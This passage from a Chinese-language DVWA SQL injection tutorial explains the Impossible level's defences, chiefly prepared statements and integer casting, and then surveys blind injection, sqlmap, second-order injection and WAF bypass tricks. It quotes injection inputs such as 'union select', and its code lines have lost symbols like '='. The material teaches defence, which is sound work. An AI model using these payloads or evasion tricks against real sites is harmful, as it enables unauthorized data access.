#实操心得High级别教会我们两件事。第一不要被LIMIT子句吓到注释符是它的天敌。第二理解数据流很重要。参数从$_SESSION而来意味着攻击可能需要多步完成先在一个页面提交触发Session存储再在另一个页面触发查询但在DVWA中这个流程被简化了。在实际漏洞利用时你需要追踪整个数据流找到最终的注入点。6. Impossible级别教科书式的安全防御Impossible级别展示了如何从根本上防御SQL注入。查看其源码你会发现它采用了“最佳实践”组合拳6.1 多重防御机制解析Anti-CSRF Token代码开头检查checkToken()。这虽然主要防御跨站请求伪造CSRF但也增加了攻击的复杂性要求攻击者必须先获取有效的Token。输入类型检查if(is_numeric( $id ))。严格检查输入是否为数字。如果不是数字直接拒绝处理。这从根本上杜绝了非数字型Payload。类型转换$id intval ($id);。即使通过了is_numeric检查还使用intval()函数将输入强制转换为整数。任何非数字字符都会被丢弃或转换。例如输入1 or 11会被转换成整数1。预编译语句Prepared Statements这是最核心、最有效的防御手段。$data $db-prepare( SELECT first_name, last_name FROM users WHERE user_id (:id) LIMIT 1; ); $data-bindParam( :id, $id, PDO::PARAM_INT ); $data-execute();prepare()方法先发送SQL语句模板到数据库进行编译。语句中的:id是一个占位符。bindParam()方法将变量$id绑定到占位符:id上并指定其为整数类型PDO::PARAM_INT。execute()执行时数据库会将绑定的值$id作为纯粹的数据插入到已编译好的SQL结构中。关键区别在预编译语句中SQL语句的结构语法和用户提供的数据是完全分离的。即使用户输入1 or 11它也会被当作一个完整的、无意义的字符串或整数绑定到user_id字段去查询而不会被解释为SQL代码的一部分。这就好比把数据和代码放在了不同的轨道上永远不会相交从而彻底免疫了SQL注入。结果数量检查if( $data-rowCount() 1 )。即使发生了不可思议的情况也确保只处理恰好返回一条记录的结果防止数据被大量拖取。6.2 为什么Impossible级别是安全的在Impossible级别你尝试任何Low、Medium、High级别的Payload都会失败。输入1 or 11会被intval()转换成1最终执行的SQL等价于SELECT ... WHERE user_id 1。输入1 union select 1,2会被is_numeric()检测为非法因为包含空格和非数字字符或者被intval()转换成1。预编译语句确保了即使有漏网之鱼数据也不会被当作代码执行。给开发者的启示防御SQL注入不应依赖于简单的字符过滤或转义如mysqli_real_escape_string因为总有绕过的可能如数字型注入、编码绕过。应该采用白名单输入验证如这里检查是否为数字并结合预编译语句参数化查询。这是OWASP等权威安全组织推荐的首要方案。7. 思维扩展从DVWA到真实世界通关了DVWA的四个级别你已经掌握了SQL注入的基本攻击手法和防御原理。但真实世界的场景要复杂得多。盲注Blind SQLi很多时候即使存在注入页面也不会直接回显数据库数据或错误信息。你需要通过页面行为的差异如真/假条件导致响应时间不同或内容微调来一点点“盲猜”数据。DVWA也有专门的“SQL Injection (Blind)”模块供你练习。工具化手工注入虽然有助于理解原理但效率低。SQLmap是一款开源的自动化SQL注入工具它可以自动检测注入点、枚举数据库、提取数据。你可以尝试用SQLmap对DVWA的Low级别进行自动化测试感受一下工具的威力。但切记仅用于授权的测试环境二次注入有时输入在存入数据库时被转义了但后来从数据库取出再次用于SQL查询时却没有被转义。这种“存储型”的注入更难发现和防御。绕过WAFWeb应用防火墙企业级应用往往部署了WAF会过滤常见的SQL关键词如union,select,or和特殊字符。这就需要使用各种混淆、编码、等价替换技巧来绕过例如用UnIoN大小写混合、用||代替or、用十六进制编码字符串等。DVWA的SQL注入模块是一个完美的起点。它剥离了复杂的环境直指漏洞核心。建议你反复练习直到对每一步的原理和Payload构造都了然于胸。然后可以去尝试更复杂的靶场如Pikachu、WebGoat、Sqli-Labs等它们提供了更多变种和更接近真实的场景。最后永远记住学习攻击技术的唯一目的是为了更好地防御。理解了黑客的思维和手段你才能写出更安全的代码设计出更稳固的系统。在合法授权的范围内进行测试是每一位安全从业者必须恪守的底线。